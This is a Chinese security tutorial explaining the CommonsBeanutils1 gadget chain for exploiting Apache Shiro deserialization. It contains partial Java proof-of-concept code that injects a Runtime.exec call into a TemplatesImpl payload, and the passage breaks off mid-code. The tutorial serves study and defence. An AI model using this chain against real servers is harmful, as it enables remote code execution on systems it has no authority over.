Shiro安全（三）：Shiro自身利用链之CommonsBeanutils

• • 0x00 前言
  • 0x01 利用链分析
  • 0x02 Shiro550利用
  • 0x03 总结
  • 0x04 文章参考

前面在利用shiro反序列化时，都是利用CC链，但是这需要服务端引入CommonsCollections组件。所以最好是找到一条shiro自身的利用链，而不需要任何的前提条件

在之前曾介绍过java.util.PriorityQueue，在反序列化这个对象时，为了保证队列顺序，会进行重排序的操作，而排序就涉 及到大小比较，进而执行 java.util.Comparator 接口的 compare() 方法。

是否能够找到其他的Comparator呢

这里引入Apache Commons Beanutils，它是是 Apache Commons 工具集下的另一个项目，它提供了对普通Java类对 象（也称为JavaBean）的一些操作方法。

在该项目中提供了一个静态方法PropertyUtils.getProperty

该方法的作用是调用任意javabean的gettter方法

PropertyUtils.getProperty(new Cat(), "name")

这个时候会调用Cat对象的getname方法并返回

那如果我们传入的是恶意TemplatesImpl对象并且第二个参数是OutputProperties呢，此时就会进入调用TemplatesImpl#getOutputProperties从而触发后面的链子，这个在fastjson中讲到过。

此时我们就需要找到哪里利用了PropertyUtils.getProperty

org.apache.commons.beanutils.BeanComparator

BeanComparator#compare方法就调用了PropertyUtils.getProperty

此时我们就能想起PriorityQueue那条cc链，我们可以将BeanComparator赋值到PriorityQueue中，利用PriorityQueue#readobject触发

package com.govuln.deserialization;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
public class CommonsBeanutils1 {
    public static void setFieldValue(Object obj, String fieldName, Object
            value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec("calc");";
        cc.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "Calc" + System.nanoTime();
        cc.setName(randomClassName);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));

        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{cc.toBytecode()});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        final BeanComparator comparator = new BeanComparator();
        final PriorityQueue